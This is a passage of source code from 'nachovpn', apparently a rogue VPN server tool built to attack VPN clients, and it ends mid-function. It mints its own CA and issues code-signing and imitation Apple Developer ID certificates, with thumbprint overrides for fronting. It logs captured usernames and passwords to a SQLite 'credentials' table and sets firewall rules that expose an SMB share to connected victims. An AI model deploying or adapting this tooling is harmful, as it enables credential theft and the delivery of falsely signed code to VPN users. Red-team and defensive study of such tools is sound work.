        der_cert = cert.public_bytes(serialization.Encoding.DER)
        thumbprint_sha1 = hashlib.sha1(der_cert).hexdigest().upper()
        thumbprint_md5 = hashlib.md5(der_cert).hexdigest().upper()

        # allow overriding the thumbprint for fronting scenarios
        thumbprint_sha1 = os.getenv('SERVER_SHA1_THUMBPRINT', thumbprint_sha1)
        thumbprint_md5 = os.getenv('SERVER_MD5_THUMBPRINT', thumbprint_md5)

        return {'sha1': thumbprint_sha1, 'md5': thumbprint_md5}

    def generate_server_certificate(self, cert_path, key_path, common_name="*", additional_ekus=[], additional_sans=[]):
        """Generate a server certificate"""
        # Get CA cert
        if not self.ca_cert or not self.ca_key:
            self.load_ca_certificate()

        # Generate server private key
        cert_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048,
            backend=default_backend()
        )

        # Build server certificate signed by CA
        subject = x509.Name([
            x509.NameAttribute(NameOID.COMMON_NAME, common_name),
        ])

        # list of SANs
        san_list = additional_sans

        # list of EKUs
        eku_list = [
            ExtendedKeyUsageOID.SERVER_AUTH,
            ExtendedKeyUsageOID.CLIENT_AUTH,
        ] + additional_ekus

        key_usage = x509.KeyUsage(
            digital_signature=True,
            key_encipherment=False,
            content_commitment=False,
            data_encipherment=False,
            key_agreement=False,
            encipher_only=False,
            decipher_only=False,
            key_cert_sign=False,
            crl_sign=False
        )

        cert = x509.CertificateBuilder().subject_name(
            subject
        ).issuer_name(
            self.ca_cert.subject
        ).public_key(
            cert_key.public_key()
        ).serial_number(
            x509.random_serial_number()
        ).not_valid_before(
            datetime.datetime.utcnow() - datetime.timedelta(days=1)
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=365)
        ).add_extension(
            x509.SubjectAlternativeName(san_list),
            critical=False,
        ).add_extension(
            x509.ExtendedKeyUsage(eku_list),
            critical=True,
        ).add_extension(
            key_usage,
            critical=True,
        ).sign(self.ca_key, hashes.SHA256(), default_backend())

        # Convert certificate and key to PEM format
        cert_pem = cert.public_bytes(serialization.Encoding.PEM)
        key_pem = cert_key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.TraditionalOpenSSL,
            encryption_algorithm=serialization.NoEncryption()
        )

        with open(cert_path, 'wb') as cert_file:
            cert_file.write(cert_pem + self.ca_cert.public_bytes(serialization.Encoding.PEM))

        with open(key_path, 'wb') as key_file:
            key_file.write(key_pem)

        return cert_path, key_path

    def generate_ca_certificate(self):
        self.ca_key_path = os.path.join(self.cert_dir, 'ca.key')
        self.ca_cert_path = os.path.join(self.cert_dir, 'ca.crt')

        # Check if CA cert already exists
        if os.path.exists(self.ca_cert_path) and os.path.exists(self.ca_key_path):
            logging.info("Loading existing CA certificate")
            with open(self.ca_cert_path, 'rb') as f:
                self.ca_cert = x509.load_pem_x509_certificate(f.read(), default_backend())
            with open(self.ca_key_path, 'rb') as f:
                self.ca_key = serialization.load_pem_private_key(f.read(), password=None, backend=default_backend())
            return self.ca_key_path, self.ca_cert_path

        logging.info("Generating new CA certificate")
        # Generate CA private key
        self.ca_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048,
            backend=default_backend()
        )

        # Build CA certificate
        subject = x509.Name([
            x509.NameAttribute(NameOID.COMMON_NAME, self.ca_common_name),
            #x509.NameAttribute(NameOID.ORGANIZATION_NAME, self.ca_common_name),
        ])

        self.ca_cert = x509.CertificateBuilder().subject_name(
            subject
        ).issuer_name(
            subject
        ).public_key(
            self.ca_key.public_key()
        ).serial_number(
            x509.random_serial_number()
        ).not_valid_before(
            datetime.datetime.now(datetime.timezone.utc) - datetime.timedelta(days=1)
        ).not_valid_after(
            datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=3650)
        ).add_extension(
            x509.BasicConstraints(ca=True, path_length=None),
            critical=True
        ).add_extension(
            x509.SubjectKeyIdentifier.from_public_key(self.ca_key.public_key()),
            critical=False
        ).add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(self.ca_key.public_key()),
            critical=False
        ).sign(self.ca_key, hashes.SHA256(), default_backend())

        # Save CA cert and key
        with open(self.ca_cert_path, 'wb') as f:
            f.write(self.ca_cert.public_bytes(serialization.Encoding.PEM))

        with open(self.ca_key_path, 'wb') as f:
            f.write(self.ca_key.private_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PrivateFormat.TraditionalOpenSSL,
                encryption_algorithm=serialization.NoEncryption()
            ))

        return self.ca_key_path, self.ca_cert_path

    def generate_codesign_certificate(self, common_name, pfx_path=None, cert_path=None, key_path=None):
        if not self.ca_cert or not self.ca_key:
            self.load_ca_certificate()

        if pfx_path is None:
            pfx_path = os.path.join(self.cert_dir, 'codesign.pfx')
        if cert_path is None:
            cert_path = os.path.join(self.cert_dir, 'codesign.cer')
        if key_path is None:
            key_path = os.path.join(self.cert_dir, 'codesign.key')

        if os.path.exists(cert_path) and os.path.exists(key_path) and \
            os.path.exists(pfx_path) and self.cert_is_valid(cert_path, common_name):
            logging.info(f"Loading existing codesigning certificate for: {common_name}")
            return pfx_path
        else:
            logging.info(f"Generating new codesigning certificate for: {common_name}")

        # Generate a private key for the code signing certificate
        codesign_private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048,
            backend=default_backend()
        )

        # Create the code signing certificate
        subject = x509.Name([
            x509.NameAttribute(NameOID.COMMON_NAME, common_name)
        ])

        eku_list = [
            ExtendedKeyUsageOID.CODE_SIGNING,
        ]

        key_usage = x509.KeyUsage(
            digital_signature=True,
            key_encipherment=False,
            content_commitment=False,
            data_encipherment=False,
            key_agreement=False,
            encipher_only=False,
            decipher_only=False,
            key_cert_sign=False,
            crl_sign=False
        )

        builder = x509.CertificateBuilder().subject_name(
            subject
        ).issuer_name(
            self.ca_cert.subject
        ).public_key(
            codesign_private_key.public_key()
        ).serial_number(
            x509.random_serial_number()
        ).not_valid_before(
            datetime.datetime.now(datetime.timezone.utc) - datetime.timedelta(days=1)
        ).not_valid_after(
            datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=365)
        ).add_extension(
            x509.ExtendedKeyUsage(eku_list),
            critical=True,
        ).add_extension(
            key_usage,
            critical=True,
        )

        # Sign the certificate with the CA private key
        codesign_certificate = builder.sign(self.ca_key, hashes.SHA256(), default_backend())

        # Save the new certificate to a file
        with open(cert_path, 'wb') as f:
            f.write(codesign_certificate.public_bytes(serialization.Encoding.PEM))

        with open(key_path, 'wb') as f:
            f.write(codesign_private_key.private_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PrivateFormat.TraditionalOpenSSL,
                encryption_algorithm=serialization.NoEncryption()
            ))

        # Convert to pkcs12 and save to codesign.pfx
        logging.info(f"Saving codesigning certificate to {pfx_path}")
        with open(pfx_path, "wb") as f:
            f.write(serialization.pkcs12.serialize_key_and_certificates(
                b"codesign",
                codesign_private_key,
                codesign_certificate,
                None,
                serialization.NoEncryption()
            ))

        return pfx_path

    def generate_apple_certificate(self, common_name="Developer ID Installer", cert_path=None, key_path=None):
        """Generate an Apple code signing certificate"""
        if cert_path is None:
            cert_path = os.path.join(self.cert_dir, 'apple.cer')
        if key_path is None:
            key_path = os.path.join(self.cert_dir, 'apple.key')

        # Generate a private key
        apple_private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048,
            backend=default_backend()
        )

        # Create Apple signing certificate
        subject = x509.Name([
            x509.NameAttribute(NameOID.COMMON_NAME, common_name)
        ])

        # list of EKUs
        eku_list = [
            ExtendedKeyUsageOID.CODE_SIGNING,
            ObjectIdentifier("1.2.840.113635.100.6.1.14"),  # Apple Developer ID Installer
            ObjectIdentifier("1.2.840.113635.100.4.13"),    # Apple Package Signing
            ObjectIdentifier("1.2.840.113635.100.6.1.14"),  # Apple Extension Signing
        ]

        key_usage = x509.KeyUsage(
            digital_signature=True,
            key_encipherment=False,
            content_commitment=False,
            data_encipherment=False,
            key_agreement=False,
            encipher_only=False,
            decipher_only=False,
            key_cert_sign=False,
            crl_sign=False
        )

        builder = x509.CertificateBuilder().subject_name(
            subject
        ).issuer_name(
            self.ca_cert.subject
        ).public_key(
            apple_private_key.public_key()
        ).serial_number(
            x509.random_serial_number()
        ).not_valid_before(
            datetime.datetime.utcnow() - datetime.timedelta(days=1)
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=365)
        ).add_extension(
            x509.ExtendedKeyUsage(eku_list),
            critical=True,
        ).add_extension(
            key_usage,
            critical=True,
        )

        # Sign the certificate with the CA private key
        apple_certificate = builder.sign(self.ca_key, hashes.SHA256(), default_backend())

        # Save the new certificate to a file
        with open(cert_path, 'wb') as f:
            f.write(apple_certificate.public_bytes(serialization.Encoding.PEM))

        # Save the private key
        with open(key_path, 'wb') as f:
            f.write(apple_private_key.private_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PrivateFormat.TraditionalOpenSSL,
                encryption_algorithm=serialization.NoEncryption()
            ))

        return cert_path, key_path


================================================
FILE: src/nachovpn/core/db_manager.py
================================================
from datetime import datetime
import sqlite3
import logging
import json
import threading

class DBManager:
    def __init__(self, db_path='database.db'):
        self.db_path = db_path
        self.conn = None
        self.lock = threading.Lock()
        self.setup_database()

    def setup_database(self):
        """Initialize the database connection and create tables if they don't exist."""
        try:
            self.conn = sqlite3.connect(self.db_path, check_same_thread=False)
            cursor = self.conn.cursor()

            cursor.execute('''
                CREATE TABLE IF NOT EXISTS credentials (
                    timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
                    username TEXT,
                    password TEXT,
                    other TEXT,
                    plugin TEXT
                )
            ''')

            self.conn.commit()
            logging.info(f"Database initialized successfully at {self.db_path}")
        except sqlite3.Error as e:
            logging.error(f"Database initialization error: {e}")
            raise

    def log_credentials(self, username, password, plugin_name, other_data=None):
        """Log credentials using prepared statements."""
        try:
            with self.lock:
                cursor = self.conn.cursor()
                cursor.execute(
                    'INSERT INTO credentials (username, password, other, plugin) VALUES (?, ?, ?, ?)',
                    (username, password, json.dumps(other_data) if other_data else None, plugin_name)
                )
                self.conn.commit()
        except sqlite3.Error as e:
            logging.error(f"Error logging credentials: {e}")

    def close(self):
        """Close the database connection."""
        if self.conn:
            with self.lock:
                self.conn.close()


================================================
FILE: src/nachovpn/core/ip_manager.py
================================================
from __future__ import annotations
import ipaddress, itertools, threading, time, os

LEASE_SECS = int(os.getenv("LEASE_SECS", 5 * 60))
VPN_SUBNET = "10.10.0.0/16"

class IPPool:
    """Round-robin allocator with lease/idle-timeout."""
    def __init__(self, cidr: str = VPN_SUBNET):
        self.net  = ipaddress.ip_network(cidr)
        self.host_iter = itertools.cycle(self.net.hosts())
        self.lock = threading.Lock()
        # ip_str -> last_seen_epoch
        self.inuse: dict[str, float] = {}

        # Reserve gateway
        gw = str(next(self.host_iter))
        self.inuse[gw] = float('inf')

    def alloc(self) -> str:
        now = time.time()
        with self.lock:
            for _ in range(self.net.num_addresses - 2):
                cand = str(next(self.host_iter))
                last = self.inuse.get(cand, 0)
                if now - last > LEASE_SECS:
                    self.inuse[cand] = now
                    return cand
            raise RuntimeError("Address pool exhausted")

    def touch(self, ip: str):
        """Call whenever we see traffic from ip to keep the lease alive."""
        with self.lock:
            if ip in self.inuse:
                self.inuse[ip] = time.time()

    def release(self, ip: str):
        with self.lock:
            self.inuse.pop(ip, None)


================================================
FILE: src/nachovpn/core/packet_handler.py
================================================
from pyroute2 import AsyncIPRoute
from dataclasses import dataclass, field
from nachovpn.core.ip_manager import IPPool
from scapy.layers.l2 import Ether
from scapy.packet import Raw
from scapy.utils import PcapWriter

import nftables
import asyncio
import os
import logging
import ipaddress
import socket
import time
import uuid
import struct
import fcntl
import threading

TUNNEL_MTU = int(os.getenv("TUNNEL_MTU", 1400))
LEASE_SECS = int(os.getenv("LEASE_SECS", 5 * 60))                       # 5 minutes
LEASE_CLEANUP_INTERVAL = int(os.getenv("LEASE_CLEANUP_INTERVAL", 60))   # 1 minute
VPN_SUBNET = "10.10.0.0/16"

# Tunnel forwarding control
TUNNEL_PRIVATE = os.getenv("TUNNEL_PRIVATE", "false").lower() == "true"
TUNNEL_FULL = os.getenv("TUNNEL_FULL", "false").lower() == "true"
TUNNEL_ENABLED = (TUNNEL_PRIVATE or TUNNEL_FULL) and os.name != 'nt'

IFF_NO_PI = 0x1000
TUNSETIFF = 0x400454CA
IFF_TUN   = 0x0001

@dataclass
class ClientInfo:
    """Information about a connected client"""
    sock: socket.socket
    ip_address: str
    connection_id: str
    callback: callable
    last_seen: float = field(default_factory=time.time)

class PacketHandler:
    """
    TUN-based packet handler using nftables
    """
    def __init__(self, write_pcap=False, pcap_filename=None):
        """Initialize packet handler"""
        self.logger = logging.getLogger(__name__)
        self.write_pcap = write_pcap
        self.pcap_filename = pcap_filename
        self._pcap_writer = None

        self.logger.debug(f"[TUN] PacketHandler instantiated in thread {threading.current_thread().name}")

        # Initialize pyroute2 and nftables
        self._ipr = AsyncIPRoute()
        self.nft = nftables.Nftables()

        # TUN interface name
        self.tun_name = "nacho0"

        # Client management
        self.clients = {}                   # ip_address -> ClientInfo
        self.conn_to_ip = {}                # connection_id -> ip_address
        self.ip_pool = IPPool(VPN_SUBNET)
        self.client_lock = asyncio.Lock()
        self.connection_states = {}         # connection_id -> bool (True if connection is alive)

        # Packet queuing
        self.packet_queues = {}             # connection_id -> asyncio.Queue
        self.send_tasks = {}                # connection_id -> asyncio.Task

        # Cache TUN file descriptor
        self.tun_fd = None

        # Background tasks
        self._lease_cleanup_task = None
        self._closed = False

    def _setup_nftables(self):
        """Configure nftables rules"""
        try:
            # First try to flush and delete existing table
            try:
                self.nft.cmd('flush table inet vpn')
                self.nft.cmd('delete table inet vpn')
                self.logger.info("Flushed existing nftables rules")
            except Exception as e:
                self.logger.warning(f"Error flushing existing rules: {e}")

            # MSS clamp to TUNNEL_MTU
            tcp_mss = TUNNEL_MTU

            # Get the gateway IP (first host in the subnet)
            subnet = ipaddress.ip_network(VPN_SUBNET)
            gateway_ip = str(next(subnet.hosts()))

            # Get addr / len from VPN_SUBNET
            vpn_addr, vpn_len = VPN_SUBNET.split("/")

            # Log the tunnel forwarding configuration
            self.logger.info(f"Tunnel forwarding configuration: TUNNEL_PRIVATE={TUNNEL_PRIVATE}, TUNNEL_FULL={TUNNEL_FULL}")

            # Build nftables rules
            rules = [
                {
                    "add": {
                        "table": {
                            "family": "inet",
                            "name": "vpn"
                        }
                    }
                },
                {
                    "add": {
                        "chain": {
                            "family": "inet",
                            "table": "vpn",
                            "name": "input",
                            "type": "filter",
                            "hook": "input",
                            "prio": 0,
                            "policy": "accept"
                        }
                    }
                },
                {
                    "add": {
                        "chain": {
                            "family": "inet",
                            "table": "vpn",
                            "name": "forward",
                            "type": "filter",
                            "hook": "forward",
                            "prio": 0,
                            "policy": "drop"
                        }
                    }
                },
                {
                    "add": {
                        "chain": {
                            "family": "inet",
                            "table": "vpn",
                            "name": "postroute",
                            "type": "nat",
                            "hook": "postrouting",
                            "prio": 100
                        }
                    }
                },
                {
                    "add": {
                        "chain": {
                            "family": "inet",
                            "table": "vpn",
                            "name": "preroute",
                            "type": "nat",
                            "hook": "prerouting",
                            "prio": -100
                        }
                    }
                },
                # Allow TCP 445 to gateway IP from VPN subnet
                {
                    "add": {
                        "rule": {
                            "family": "inet",
                            "table": "vpn",
                            "chain": "input",
                            "expr": [
                                {"match": {"left": {"meta": {"key": "iifname"}}, "op": "==", "right": self.tun_name}},
                                {"match": {"left": {"payload": {"protocol": "ip", "field": "saddr"}}, "op": "in", "right": {"prefix": {"addr": vpn_addr, "len": int(vpn_len)}}}},
                                {"match": {"left": {"payload": {"protocol": "ip", "field": "daddr"}}, "op": "==", "right": gateway_ip}},
                                {"match": {"left": {"payload": {"protocol": "tcp", "field": "dport"}}, "op": "==", "right": 445}},
                                {"accept": None}
                            ]
                        }
                    }
                },
                # Default drop for all other VPN interface traffic
                {
                    "add": {
                        "rule": {
                            "family": "inet",
                            "table": "vpn",
                            "chain": "input",
                            "expr": [
                                {"match": {"left": {"meta": {"key": "iifname"}}, "op": "==", "right": self.tun_name}},
                                {"drop": None}
                            ]
                        }
                    }
                },
                # Accept established/related
                {
                    "add": {
                        "rule": {
                            "family": "inet",
                            "table": "vpn",
                            "chain": "forward",
                            "expr": [
                                {"match": {"left": {"ct": {"key": "state"}}, "op": "in", "right": {"set": ["established", "related"]}}},
                                {"accept": None}
                            ]
                        }
                    }
                },
                # Drop traffic to the gateway IP
                {
                    "add": {
                        "rule": {
                            "family": "inet",
                            "table": "vpn",
                            "chain": "forward",
                            "expr": [
                                {"match": {"left": {"payload": {"protocol": "ip", "field": "daddr"}}, "op": "==", "right": gateway_ip}},
                                {"drop": None}
                            ]
                        }
                    }
                }
            ]

            # Add forwarding rules if TUNNEL_FULL is enabled
            if TUNNEL_FULL:
                self.logger.info("Adding internet forwarding rules - VPN clients can access the internet")
                # Drop traffic to private/LAN ranges
                rules.append({
                    "add": {
                        "rule": {
                            "family": "inet",
                            "table": "vpn",
                            "chain": "forward",
                            "expr": [
                                {"match": {"left": {"payload": {"protocol": "ip", "field": "daddr"}}, "op": "in", "right": {"set": [
                                    {"prefix": {"addr": "10.0.0.0", "len": 8}},
                                    {"prefix": {"addr": "127.0.0.0", "len": 8}},
                                    {"prefix": {"addr": "169.254.169.254", "len": 32}},
                                    {"prefix": {"addr": "172.16.0.0", "len": 12}},
                                    {"prefix": {"addr": "192.168.0.0", "len": 16}}
                                ]}}},
                                {"drop": None}
                            ]
                        }
                    }
                })
                # Drop broadcast and multicast traffic
                rules.append({
                    "add": {
                        "rule": {
                            "family": "inet",
                            "table": "vpn",
                            "chain": "forward",
                            "expr": [
                                {"match": {"left": {"payload": {"protocol": "ip", "field": "daddr"}}, "op": "in", "right": {"set": [
                                    {"prefix": {"addr": "224.0.0.0", "len": 4}},
                                    {"prefix": {"addr": "255.255.255.255", "len": 32}}
                                ]}}},
                                {"drop": None}
                            ]
                        }
                    }
                })
                # Accept all other VPN client traffic to the internet
                rules.append({
                    "add": {
                        "rule": {
                            "family": "inet",
                            "table": "vpn",
                            "chain": "forward",
                            "expr": [
                                {"match": {"left": {"meta": {"key": "iifname"}}, "op": "==", "right": self.tun_name}},
                                {"accept": None}
                            ]
                        }
                    }
                })
                # Masquerade traffic from VPN subnet
                rules.append({
                    "add": {
                        "rule": {
                            "family": "inet",
                            "table": "vpn",
                            "chain": "postroute",
                            "expr": [
                                {"match": {"left": {"payload": {"protocol": "ip", "field": "saddr"}}, "op": "in", "right": {"prefix": {"addr": vpn_addr, "len": int(vpn_len)}}}},
                                {"match": {"left": {"meta": {"key": "oifname"}}, "op": "!=", "right": self.tun_name}},
                                {"masquerade": None}
                            ]
                        }
                    }
                })
            else:
                self.logger.info("Internet forwarding disabled - VPN clients can only access SMB share")

            cmd = {"nftables": rules}

            # Apply nftables rules
            rc, _, err = self.nft.json_cmd(cmd)
            if rc:
                raise RuntimeError(f"Failed to apply nftables rules: {err}")

            self.logger.info("Configured nftables rules")

            # Check if IP forwarding is enabled
            try:
                with open('/proc/sys/net/ipv4/ip_forward', 'r') as f:
                    ip_forward = f.read().strip()
                if ip_forward != '1':
                    self.logger.error(f"IP forwarding is not enabled. Please enable it with: sudo sysctl -w net.ipv4.ip_forward=1")
                self.logger.info("IP forwarding is enabled")
            except FileNotFoundError:
                self.logger.error("Cannot read IP forwarding status from /proc/sys/net/ipv4/ip_forward. Please ensure IP forwarding is enabled with: sudo sysctl -w net.ipv4.ip_forward=1")

            # Add MSS clamping rules
            try:
                self.nft.cmd(f'add rule inet vpn forward iifname {self.tun_name} ip saddr 10.10.0.0/16 tcp flags syn tcp option maxseg size set {tcp_mss}')
                self.nft.cmd(f'add rule inet vpn forward oifname {self.tun_name} ip daddr 10.10.0.0/16 tcp flags syn tcp option maxseg size set {tcp_mss}')
                self.logger.info(f"Added TCP MSS clamping rules with MSS {tcp_mss}")
            except Exception as e:
                self.logger.error(f"Failed to add TCP MSS clamping rules: {e}")
                raise

            # Verify rules were applied
            try:
                result = self.nft.cmd('list ruleset')
                self.logger.debug(f"Current nftables rules: {result}")
            except Exception as e:
                self.logger.error(f"Failed to list rules: {e}")

        except Exception as e:
            self.logger.error(f"Failed to configure nftables: {e}")
            raise

    async def _setup_tun_interface(self):
        """Create and configure the TUN interface"""
        try:
            idx = await self._ipr.link_lookup(ifname=self.tun_name)
            if idx:
                self.logger.info("Removing existing interface %s", self.tun_name)
                await self._ipr.link("del", index=idx[0])

            # Create TUN interface
            await self._ipr.link(
                "add",
                ifname=self.tun_name,
                kind="tuntap",
                mode="tun",
                iflags=IFF_TUN | IFF_NO_PI
            )

            # Get interface info
            idx = (await self._ipr.link_lookup(ifname=self.tun_name))[0]
            info = await self._ipr.link("get", index=idx)
            self.logger.debug(f"[TUN] Interface created with flags: {info[0]['flags']}")

            # Set MTU
            await self._ipr.link("set", index=idx, mtu=TUNNEL_MTU, state="up")
            self.logger.info(f"[TUN] Set interface MTU to {TUNNEL_MTU} bytes")

            subnet = ipaddress.ip_network(VPN_SUBNET)
            gateway_ip = str(next(subnet.hosts()))
            await self._ipr.addr("add", index=idx, address=gateway_ip,
                        prefixlen=subnet.prefixlen)

            self.logger.info("Created %s %s/%s",
                            self.tun_name, gateway_ip, subnet.prefixlen)

            # Disable IPv6 on the nacho0 interface
            ipv6_disable_path = f"/proc/sys/net/ipv6/conf/{self.tun_name}/disable_ipv6"
            if os.path.exists(ipv6_disable_path):
                try:
                    with open(ipv6_disable_path, "w") as f:
                        f.write("1\n")
                    self.logger.info(f"Disabled IPv6 on {self.tun_name}")
                except Exception as e:
                    self.logger.warning(f"Failed to disable IPv6 on {self.tun_name}: {e}")

        except Exception:
            self.logger.exception("Failed to create TUN interface")
            raise

    def _setup_tun_fd(self) -> None:
        """Open /dev/net/tun and bind it to the nacho0 interface."""
        try:
            # Open the TUN character device
            fd = os.open("/dev/net/tun", os.O_RDWR | os.O_NONBLOCK)
            self.logger.debug(f"[TUN] Opened /dev/net/tun with fd={fd}")

            # Tell the kernel which interface this fd belongs to
            ifr = struct.pack(
                "16sH",
                self.tun_name.encode(),
                IFF_TUN | IFF_NO_PI
            )
            self.logger.debug(f"[TUN] Setting interface flags: IFF_TUN={IFF_TUN}, IFF_NO_PI={IFF_NO_PI}")
            fcntl.ioctl(fd, TUNSETIFF, ifr)
            self.logger.debug(f"[TUN] Bound fd={fd} to interface {self.tun_name}")

            # Store and register with the event loop
            self.tun_fd = fd
            self._loop.add_reader(fd, self._on_tun_ready)
            self.logger.debug(f"[TUN] Registered fd={fd} with event loop")

        except Exception as e:
            self.logger.error(f"[TUN] Failed to open TUN file descriptor: {e}")
            raise

    def _on_tun_ready(self):
        """Synchronous callback when TUN fd is ready for reading"""
        try:
            self.logger.debug("[TUN] _on_tun_ready called")

            # Read packet from TUN interface
            packet_data = os.read(self.tun_fd, 65535)
            if not packet_data:
                self.logger.debug("[TUN] No data available")
                return

            self.logger.debug(f"[TUN] Raw packet data: {packet_data.hex()}")

            # Get IP version
            version = packet_data[0] >> 4
            if version != 4:
                self.logger.debug(f"[TUN] Ignoring non-IPv4 packet: version={version}, first_bytes={packet_data[:4].hex()}")
                return

            # IPv4 packet
            if len(packet_data) >= 20:
                dest_ip = socket.inet_ntoa(packet_data[16:20])
                src_ip = socket.inet_ntoa(packet_data[12:16])
                self.logger.debug(f"[TUN] IPv4 packet: src={src_ip} dst={dest_ip} len={len(packet_data)}")
                if dest_ip:
                    self.logger.debug(f"[TUN] Handling reply packet for dest_ip={dest_ip}, src_ip={src_ip}, len={len(packet_data)}")
                    self._loop.create_task(self._handle_reply_packet(packet_data, dest_ip))
            else:
                self.logger.warning(f"[TUN] Packet too short for IPv4: len={len(packet_data)}")
        except BlockingIOError:
            # No data available
            pass
        except Exception as e:
            self.logger.error(f"[TUN] Error reading from TUN interface: {e}")

    async def _lease_cleanup(self):
        """Periodically check for and reclaim expired client leases"""
        while True:
            await asyncio.sleep(LEASE_CLEANUP_INTERVAL)
            try:
                async with self.client_lock:
                    now = time.time()
                    # Find stale clients
                    stale = [
                        ip for ip, client in self.clients.items()
                        if now - client.last_seen > LEASE_SECS
                    ]
                    # Reclaim them
                    for ip in stale:
                        await self._reclaim_client(ip)
            except Exception as e:
                self.logger.error(f"Error in lease cleanup: {e}")

    async def _reclaim_client(self, ip_address):
        """Reclaim a client's resources"""
        try:
            client = self.clients.pop(ip_address, None)
            if client:
                # Remove connection mapping
                self.conn_to_ip.pop(client.connection_id, None)

                # Close the socket
                try:
                    if hasattr(client, 'sock'):
                        client.sock.close()
                except Exception:
                    pass

                # Release the IP
                self.ip_pool.release(ip_address)
                self.logger.info(f"Reclaimed idle client {client.connection_id} with IP {ip_address}")
        except Exception as e:
            self.logger.error(f"Error reclaiming client {ip_address}: {e}")

    def _send_all_blocking(self, sock, data):
        """Send all bytes on a blocking socket."""
        try:
            sock.setblocking(True)
            sock.sendall(data)
            return True
        except Exception as e:
            self.logger.error(f"Error sending data (blocking): {e}")
            return False

    async def _send_packets(self, connection_id, queue):
        """Background task to send packets from queue to client"""
        try:
            while True:
                # Get next packet from queue
                packet_data = await queue.get()
                if packet_data is None:  # Shutdown signal
                    break

                # Get client info
                ip_address = self.conn_to_ip.get(connection_id)
                if not ip_address:
                    self.logger.warning(f"[TUN] No IP address found for connection_id {connection_id} in _send_packets")
                    continue

                client = self.clients.get(ip_address)
                if not client:
                    self.logger.warning(f"[TUN] No client found for IP {ip_address} in _send_packets")
                    continue

                # Check if connection is still alive
                if not self.connection_states.get(connection_id, False):
                    self.logger.warning(f"[TUN] Connection {connection_id} is no longer alive in _send_packets")
                    continue

                self.logger.debug(f"[TUN] Sending reply packet of size {len(packet_data)} bytes to client {connection_id} (IP {ip_address})")

                try:
                    await self._loop.run_in_executor(
                        None, 
                        self._send_all_blocking,
                        client.sock,
                        packet_data
                    )
                except Exception as e:
                    self.logger.error(f"[TUN] Failed to send data to client {connection_id}: {e}")
                    self.connection_states[connection_id] = False
                    self.destroy_session(connection_id)
                    break

                # Update client state under lock
                async with self.client_lock:
                    if ip_address in self.clients:
                        self.clients[ip_address].last_seen = time.time()
                        # Touch the IP to keep lease alive
                        self.ip_pool.touch(ip_address)
                        self.logger.debug(f"[TUN] Updated client {connection_id} last_seen time")

                # Mark task as done
                queue.task_done()

        except Exception as e:
            self.logger.error(f"[TUN] Error in send_packets task for {connection_id}: {e}")
            self.connection_states[connection_id] = False
            self.destroy_session(connection_id)

    def register_client(self, connection_id, sock, wrapper_callback):
        """Register a new client and assign an IP"""
        try:
            # Allocate IP from pool
            ip_address = self.ip_pool.alloc()

            # Store client info
            self.clients[ip_address] = ClientInfo(
                sock=sock,
                ip_address=ip_address,
                connection_id=connection_id,
                callback=wrapper_callback,
                last_seen=time.time()
            )

            # Add connection mapping
            self.conn_to_ip[connection_id] = ip_address

            # Mark connection as alive
            self.connection_states[connection_id] = True

            # Create packet queue and start send task
            self.packet_queues[connection_id] = asyncio.Queue(maxsize=100)
            self.send_tasks[connection_id] = self._loop.create_task(
                self._send_packets(connection_id, self.packet_queues[connection_id])
            )

            self.logger.info(f"Registered client {connection_id} with IP {ip_address}")
            return ip_address
        except Exception as e:
            self.logger.error(f"Failed to register client {connection_id}: {e}")
            raise

    def destroy_session(self, connection_id):
        """Unregister a client and release their IP"""
        ip_address = self.conn_to_ip.get(connection_id)
        if ip_address and ip_address in self.clients:
            # Remove connection mapping
            self.conn_to_ip.pop(connection_id, None)

            # Remove client info
            del self.clients[ip_address]

            # Remove connection state
            self.connection_states.pop(connection_id, None)

            # Clean up packet queue and send task
            queue = self.packet_queues.pop(connection_id, None)
            if queue:
                # Signal task to stop
                self._loop.call_soon_threadsafe(queue.put_nowait, None)

            task = self.send_tasks.pop(connection_id, None)
            if task:
                task.cancel()

            # Release the IP
            self.ip_pool.release(ip_address)
            self.logger.info(f"Unregistered client {connection_id}")

    async def _handle_reply_packet(self, packet_data, dest_ip):
        """Handle a reply packet from the TUN interface"""
        try:
            # Lookup client by IP
            client = self.clients.get(dest_ip)
            self.logger.debug(f"[TUN] Handling reply packet for dest_ip={dest_ip}, client={client}")
            if client:
                # Check if connection is still alive
                if not self.connection_states.get(client.connection_id, False):
                    self.logger.warning(f"[TUN] Connection {client.connection_id} is no longer alive, skipping packet")
                    return

                # Use the plugin's wrapper_callback
                if client.callback:
                    self.logger.debug(f"[TUN] Using callback for client {client.connection_id}")
                    wrapped_data = client.callback(packet_data, client)
                else:
                    self.logger.debug(f"[TUN] No callback for client {client.connection_id}, using raw data")
                    wrapped_data = packet_data

                # Add packet to queue
                self.logger.debug(f"[TUN] Queuing reply packet to client {client.connection_id} (IP {dest_ip}): original size={len(packet_data)}, wrapped size={len(wrapped_data)}")
                queue = self.packet_queues.get(client.connection_id)
                if queue:
                    try:
                        queue.put_nowait(wrapped_data)
                        self.logger.debug(f"[TUN] Queued reply packet to client {client.connection_id}")
                    except asyncio.QueueFull:
                        self.logger.warning(f"[TUN] Client {client.connection_id} queue full, dropping packet")
                else:
                    self.logger.warning(f"[TUN] No queue found for client {client.connection_id}")
            else:
                self.logger.warning(f"[TUN] No client found for destination IP {dest_ip}")
        except Exception as e:
            self.logger.error(f"[TUN] Error handling reply packet: {e}")

    def handle_client_packet(self, packet_data, connection_id):
        """Handle a packet from a client"""
        try:
            self.logger.debug(f"Handling client packet for connection_id {connection_id}")

            ip_address = self.conn_to_ip.get(connection_id)
            if not ip_address:
                self.logger.error(f"No client found for connection_id {connection_id}")
                return

            client_info = self.clients.get(ip_address)
            if not client_info:
                self.logger.error(f"No ClientInfo found for IP {ip_address}")
                return

            src_ip = socket.inet_ntoa(packet_data[12:16]) if len(packet_data) >= 16 and (packet_data[0] >> 4) == 4 else None
